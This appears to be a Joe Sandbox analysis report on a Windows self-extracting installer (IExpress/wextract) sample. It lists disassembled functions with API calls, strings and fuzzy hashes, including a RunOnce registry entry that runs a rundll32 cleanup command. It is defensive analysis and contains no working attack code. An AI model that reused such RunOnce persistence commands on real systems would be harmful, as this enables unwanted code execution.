TerminateProcess.KERNEL32(00000000,?,009A6E26,009A1000), ref: 009A6D12

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: a3b493106e8d9cfd2c62ae887e8b94388dc1e4ee243e6bf249509119bd25aa60
Instruction ID: 08e55e553e0ec203b1571c5400094e0638982f9587cbc25cbb26bbf741f63476
Opcode Fuzzy Hash: a3b493106e8d9cfd2c62ae887e8b94388dc1e4ee243e6bf249509119bd25aa60
Instruction Fuzzy Hash: 85D0C93201C108BBDB412BE1EC0CA593F28EF4A222F444000F31982020CB324851EB92

Uniqueness

Uniqueness Score: -1.00%

Function 009A3210 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 188windowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32(000003E8,009A8598,00000200), ref: 009A3271
GetDesktopWindow.USER32 ref: 009A33E2
SetWindowTextA.USER32(?,no230), ref: 009A33F7
SendDlgItemMessageA.USER32(?,00000835,000000C5,00000103,00000000), ref: 009A3410
GetDlgItem.USER32(?,00000836), ref: 009A3426
EnableWindow.USER32(00000000), ref: 009A342D
EndDialog.USER32(?,00000000), ref: 009A343F

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 009A32E2, 009A32E7, 009A3331, 009A3344, 009A335B, 009A336A
no230, xrefs: 009A33F1

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Window$Item$DesktopDialogEnableLoadMessageSendStringText
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$no230
API String ID: 2418873061-3556430973
Opcode ID: d78dce4395bc9206ba782501abc97c991bd1adecd3670051cfa9af8627865dcc
Instruction ID: 36d4230d24ad267e340f03e1b7cead9b060c11288b6f26e16a9fed79a16c5cfe
Opcode Fuzzy Hash: d78dce4395bc9206ba782501abc97c991bd1adecd3670051cfa9af8627865dcc
Instruction Fuzzy Hash: E551E3303582407BEB215B355C8DF7B299DEF8BB58F50C428F645961E0DEA88A02E2E1

Uniqueness

Uniqueness Score: -1.00%

Function 009A2CAA Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 183synchronizationCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 009A2CD9
memset.MSVCRT ref: 009A2CE9
memset.MSVCRT ref: 009A2CF9

Part of subcall function 009A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 009A46A0
Part of subcall function 009A468F: SizeofResource.KERNEL32(00000000,00000000,?,009A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46A9
Part of subcall function 009A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 009A46C3
Part of subcall function 009A468F: LoadResource.KERNEL32(00000000,00000000,?,009A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46CC
Part of subcall function 009A468F: LockResource.KERNEL32(00000000,?,009A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46D3
Part of subcall function 009A468F: memcpy_s.MSVCRT ref: 009A46E5
Part of subcall function 009A468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46EF

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 009A2D34
SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 009A2D40
CreateMutexA.KERNEL32(00000000,00000001,?,00000104,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 009A2DAE
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 009A2DBD
CloseHandle.KERNEL32(no230,00000000,00000020,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 009A2E0A

Part of subcall function 009A44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 009A4518
Part of subcall function 009A44B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 009A4554

Strings

INSTANCECHECK, xrefs: 009A2D95
EXTRACTOPT, xrefs: 009A2D4D
TITLE, xrefs: 009A2D09
VERCHECK, xrefs: 009A2E54
no230, xrefs: 009A2D04, 009A2DD9, 009A2DF0

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Resource$memset$CreateEventFindLoad$CloseErrorFreeHandleLastLockMessageMutexSizeofStringmemcpy_s
String ID: EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK$no230
API String ID: 1002816675-1643897000
Opcode ID: f99ca2375eb6259a3f783b9b4995d3306882739400dd47de4b1e00ce78273775
Instruction ID: 49e56fe691bd3ff54d042f00ab6a87620f6a928694a36b432e2ef7c525c7feee
Opcode Fuzzy Hash: f99ca2375eb6259a3f783b9b4995d3306882739400dd47de4b1e00ce78273775
Instruction Fuzzy Hash: 0551E5707583016BE764A7289C4AB7B369DEFC7708F144039F941D51E1EBB88881E6E1

Uniqueness

Uniqueness Score: -1.00%

Function 009A34F0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119threadwindowCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(00000000), ref: 009A3535
EndDialog.USER32(?,?), ref: 009A3541
ResetEvent.KERNEL32 ref: 009A355F
SetEvent.KERNEL32(009A1140,00000000,00000020,00000004), ref: 009A3590
GetDesktopWindow.USER32 ref: 009A35C7
GetDlgItem.USER32(?,0000083B), ref: 009A35F1
SendMessageA.USER32(00000000), ref: 009A35F8
GetDlgItem.USER32(?,0000083B), ref: 009A3610
SendMessageA.USER32(00000000), ref: 009A3617
SetWindowTextA.USER32(?,no230), ref: 009A3623
CreateThread.KERNEL32 ref: 009A3637
EndDialog.USER32(?,00000000), ref: 009A3671

Strings

no230, xrefs: 009A361D

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: DialogEventItemMessageSendThreadWindow$CreateDesktopResetTerminateText
String ID: no230
API String ID: 2406144884-1983429894
Opcode ID: f5827f2e421d5fb7c49ff8c747d460f83c917634ebbaa7882d84a0a7ea73bb90
Instruction ID: 7ac29597462c1dcc872a654702bae81bcd326ac83476deecf3770c380a3c44ab
Opcode Fuzzy Hash: f5827f2e421d5fb7c49ff8c747d460f83c917634ebbaa7882d84a0a7ea73bb90
Instruction Fuzzy Hash: 4831C53125C300BBD7601F25EC4EF6B3A68EFC7B01F108929FA16952A0CB758901EBD5

Uniqueness

Uniqueness Score: -1.00%

Function 009A4224 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 132libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000001), ref: 009A4236
GetProcAddress.KERNEL32(00000000,SHBrowseForFolder), ref: 009A424C
GetProcAddress.KERNEL32(00000000,000000C3), ref: 009A4263
GetProcAddress.KERNEL32(00000000,SHGetPathFromIDList), ref: 009A427A
GetTempPathA.KERNEL32(00000104,009A88C0,?,00000001), ref: 009A429F
CharPrevA.USER32(009A88C0,01351181,?,00000001), ref: 009A42C2
CharPrevA.USER32(009A88C0,00000000,?,00000001), ref: 009A42D6
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 009A4391
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 009A43A5

Strings

SHELL32.DLL, xrefs: 009A422F
SHBrowseForFolder, xrefs: 009A4246
SHGetPathFromIDList, xrefs: 009A4274

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: a431449c8b2c26c24529f6cbc2e0d84b89ad2d6dd171568cdd88965510f6dce4
Instruction ID: 1cb952d1f3ecdcf59663858dd4f362a206dd06bff691d28be79b97bf231f5eb5
Opcode Fuzzy Hash: a431449c8b2c26c24529f6cbc2e0d84b89ad2d6dd171568cdd88965510f6dce4
Instruction Fuzzy Hash: 8941D3B4E04214AFDB11AB64DC98A7E7BB8EF8B348F140169E951A3251CFB98C01D7E1

Uniqueness

Uniqueness Score: -1.00%

Function 009A2773 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 114registryCOMMON

Download Yara Rule

APIs

CharUpperA.USER32(50F8B8FD,00000000,00000000,00000000), ref: 009A27A8
CharNextA.USER32(0000054D), ref: 009A27B5
CharNextA.USER32(00000000), ref: 009A27BC
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 009A2829
RegQueryValueExA.ADVAPI32(?,009A1140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 009A2852
ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 009A2870
RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 009A28A0
GetWindowsDirectoryA.KERNEL32(-00000005,00000104), ref: 009A28AA
GetSystemDirectoryA.KERNEL32 ref: 009A28B9

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 009A27E4

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: 0fcbfbbb14ac9bd987a372049a57b8cd5786492261aacd979788b05e0a08c4a0
Instruction ID: f58c4c239976d23425352cb7cf06ff5e58854488bc559e2e55299a0a882ad50b
Opcode Fuzzy Hash: 0fcbfbbb14ac9bd987a372049a57b8cd5786492261aacd979788b05e0a08c4a0
Instruction Fuzzy Hash: 5B41A271A08128AFDB249B68DC85AFA77BDEF57700F0440A9F649D2100DB748E86DFE1

Uniqueness

Uniqueness Score: -1.00%

Function 009A2267 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 88registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,0002001F,?,00000001), ref: 009A22A3
RegQueryValueExA.ADVAPI32(?,wextract_cleanup1,00000000,00000000,?,?,00000001), ref: 009A22D8
memset.MSVCRT ref: 009A22F5
GetSystemDirectoryA.KERNEL32 ref: 009A2305
RegSetValueExA.ADVAPI32(?,wextract_cleanup1,00000000,00000001,?,?,?,?,?,?,?,?,?), ref: 009A236E
RegCloseKey.ADVAPI32(?), ref: 009A237A

Strings

wextract_cleanup1, xrefs: 009A227C, 009A22CD, 009A2363
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 009A232D
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 009A2299
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 009A2321

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Value$CloseDirectoryOpenQuerySystemmemset
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup1
API String ID: 3027380567-2601155950
Opcode ID: f7ad5be4b472eb8a77685fde1b6ce8e1591946be684944452d2945a051c056ae
Instruction ID: 2a0e5b8f114d1ea0f9f5f98beb477ea571f36dc54bf81694ed8dbd3949d5050a
Opcode Fuzzy Hash: f7ad5be4b472eb8a77685fde1b6ce8e1591946be684944452d2945a051c056ae
Instruction Fuzzy Hash: 7331C571A042286BDB219B54DC49FEBBB7CEF57704F0401E9B94DA6050EB70AF88CAD0

Uniqueness

Uniqueness Score: -1.00%

Function 009A3100 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 70windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000000), ref: 009A313B
GetDesktopWindow.USER32 ref: 009A314B
SetDlgItemTextA.USER32(?,00000834), ref: 009A316A
SetWindowTextA.USER32(?,no230), ref: 009A3176
SetForegroundWindow.USER32(?), ref: 009A317D
GetDlgItem.USER32(?,00000834), ref: 009A3185
GetWindowLongA.USER32(00000000,000000FC), ref: 009A3190
SetWindowLongA.USER32(00000000,000000FC,009A30C0), ref: 009A31A3
SendDlgItemMessageA.USER32(?,00000834,000000B1,000000FF,00000000), ref: 009A31CA

Strings

no230, xrefs: 009A3170

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: no230
API String ID: 3785188418-1983429894
Opcode ID: ee5710ce209fe7d3b3176b727c30ee27b6791a84499f73cd73947700618478e5
Instruction ID: 0c9dbe6ff902d570984f9e2c1b38ddc87ed961827e0d26a443127dd5a3601a7a
Opcode Fuzzy Hash: ee5710ce209fe7d3b3176b727c30ee27b6791a84499f73cd73947700618478e5
Instruction Fuzzy Hash: 4811D33165C211BBDB115F64DC0CBAA3AA8FF4B720F108610F825911E0DBB49A51E7C6

Uniqueness

Uniqueness Score: -1.00%

Function 009A18A3 Relevance: 16.6, APIs: 11, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 009A17EE: LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,009A18DD), ref: 009A181A
Part of subcall function 009A17EE: GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 009A182C
Part of subcall function 009A17EE: AllocateAndInitializeSid.ADVAPI32(009A18DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,009A18DD), ref: 009A1855
Part of subcall function 009A17EE: FreeSid.ADVAPI32(?,?,?,?,009A18DD), ref: 009A1883
Part of subcall function 009A17EE: FreeLibrary.KERNEL32(00000000,?,?,?,009A18DD), ref: 009A188A

GetCurrentProcess.KERNEL32(00000008,?,00000000,00000001), ref: 009A18EB
OpenProcessToken.ADVAPI32(00000000), ref: 009A18F2
GetTokenInformation.ADVAPI32(?,00000002,00000000,00000000,?), ref: 009A190A
GetLastError.KERNEL32 ref: 009A1918
LocalAlloc.KERNEL32(00000000,?,?), ref: 009A192C
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?), ref: 009A1944
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 009A1964
EqualSid.ADVAPI32(00000004,?), ref: 009A197A
FreeSid.ADVAPI32(?), ref: 009A199C
LocalFree.KERNEL32(00000000), ref: 009A19A3
CloseHandle.KERNEL32(?), ref: 009A19AD

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: 677b98534014d8787e49bb231fbb6c19d6ff176cea4d5bef7646a158386bac80
Instruction ID: 3cf41d1a7c5b8751cfe54909a8c4f76c79f76d249f61778d1bed5b26b2cbe1b9
Opcode Fuzzy Hash: 677b98534014d8787e49bb231fbb6c19d6ff176cea4d5bef7646a158386bac80
Instruction Fuzzy Hash: F5316F71A14219AFDB20DFA5EC48ABFBBBDFF8B300F100429E645D2160DB309905DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 009A468F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 009A46A0
SizeofResource.KERNEL32(00000000,00000000,?,009A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46A9
FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 009A46C3
LoadResource.KERNEL32(00000000,00000000,?,009A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46CC
LockResource.KERNEL32(00000000,?,009A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46D3
memcpy_s.MSVCRT ref: 009A46E5
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46EF

Strings

TITLE, xrefs: 009A469D, 009A46C0
no230, xrefs: 009A46E4

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID: TITLE$no230
API String ID: 3370778649-2866258717
Opcode ID: 2d074a6b66d7efa1cd7e725586f4347c375cb8accf1d6ef6badbb47e7892cf9d
Instruction ID: d57feab328d5af3b55dd3bc65157ebebc0be3d750ccc305d6646439cd26269d3
Opcode Fuzzy Hash: 2d074a6b66d7efa1cd7e725586f4347c375cb8accf1d6ef6badbb47e7892cf9d
Instruction Fuzzy Hash: F60131366582107BE3601BA5AC4DF7B7E2CDFCBB62F044024FA4A96191CAA18851D6E6

Uniqueness

Uniqueness Score: -1.00%

Function 009A17EE Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 71librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,009A18DD), ref: 009A181A
GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 009A182C
AllocateAndInitializeSid.ADVAPI32(009A18DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,009A18DD), ref: 009A1855
FreeSid.ADVAPI32(?,?,?,?,009A18DD), ref: 009A1883
FreeLibrary.KERNEL32(00000000,?,?,?,009A18DD), ref: 009A188A

Strings

CheckTokenMembership, xrefs: 009A1826
advapi32.dll, xrefs: 009A1810

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: a580de29138a816779a49e9dc4e9b37a06e91e97b41c656a90657246406a3a7b
Instruction ID: a34af4dc3a9b48e4fba77c0e1909d7e429384cd2cd39ca7a41a80ad15203647f
Opcode Fuzzy Hash: a580de29138a816779a49e9dc4e9b37a06e91e97b41c656a90657246406a3a7b
Instruction Fuzzy Hash: 72119375E14219ABDB109FA4DC49ABEBB78EF4A710F10016AFA11E3290DB308D04DBD1

Uniqueness

Uniqueness Score: -1.00%

Function 009A3450 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

EndDialog.USER32(?,?), ref: 009A3490
GetDesktopWindow.USER32 ref: 009A349A
SetWindowTextA.USER32(?,no230), ref: 009A34B2
SetDlgItemTextA.USER32(?,00000838), ref: 009A34C4
SetForegroundWindow.USER32(?), ref: 009A34CB
EndDialog.USER32(?,00000002), ref: 009A34D8

Strings

no230, xrefs: 009A34AC

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Window$DialogText$DesktopForegroundItem
String ID: no230
API String ID: 852535152-1983429894
Opcode ID: e65e2d7a5810e80e42152fabe0d746f6bd98cec5a4a712dc3e9df93f64ed9ba4
Instruction ID: e77902ba772fb3a40a7d691a2bb25d9fd88ad6e3a3a980bfb6b38514edb9fa49
Opcode Fuzzy Hash: e65e2d7a5810e80e42152fabe0d746f6bd98cec5a4a712dc3e9df93f64ed9ba4
Instruction Fuzzy Hash: 1501B131268114ABCB265F69DC0C9AD3AA8EF4F740F10C410F946865B0CB749F42EBC1

Uniqueness

Uniqueness Score: -1.00%

Function 009A2AAC Relevance: 12.1, APIs: 8, Instructions: 118COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,00000104,00000000,00000000,?), ref: 009A2AE6
IsDBCSLeadByte.KERNEL32(00000000), ref: 009A2AF2
CharNextA.USER32(?), ref: 009A2B12
CharUpperA.USER32 ref: 009A2B1E
CharPrevA.USER32(?,?), ref: 009A2B55
CharNextA.USER32(?), ref: 009A2BD4

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Char$Next$ByteFileLeadModuleNamePrevUpper
String ID:
API String ID: 571164536-0
Opcode ID: 14504c94e279cbb24d1d89645f9cf7c8e5b4f4627fbe7f80f1e3b33c80b87d3e
Instruction ID: 45b57295cd9115e89af978afa6f447ea00ed4068bafd763aa8fe9f5f05711401
Opcode Fuzzy Hash: 14504c94e279cbb24d1d89645f9cf7c8e5b4f4627fbe7f80f1e3b33c80b87d3e
Instruction Fuzzy Hash: 4441283450C2456FDB169F388C54AFD7BAD9F97314F14009AE8C287242DB358E86DBE1

Uniqueness

Uniqueness Score: -1.00%

Function 009A43D0 Relevance: 10.6, APIs: 7, Instructions: 97COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 009A43F1
GetWindowRect.USER32(00000000,?), ref: 009A440B
GetDC.USER32(?), ref: 009A4423
GetDeviceCaps.GDI32(00000000,00000008), ref: 009A442E
GetDeviceCaps.GDI32(00000000,0000000A), ref: 009A443A
ReleaseDC.USER32(?,00000000), ref: 009A4447
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,00000005,?,00000001,?), ref: 009A44A2

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: 6f0a78b3b91aa68ec317f46469b002412df6cc3253a135b5d1bc487ca92b2891
Instruction ID: 0450386250cd66ea89b23f26bc6875039670b73753b1f759c9ca606c26bc92bd
Opcode Fuzzy Hash: 6f0a78b3b91aa68ec317f46469b002412df6cc3253a135b5d1bc487ca92b2891
Instruction Fuzzy Hash: CD313C32E14119AFCB14CFB8DD889EEBBF5EF8A310F154169E805B3250DA746C05DBA0

Uniqueness
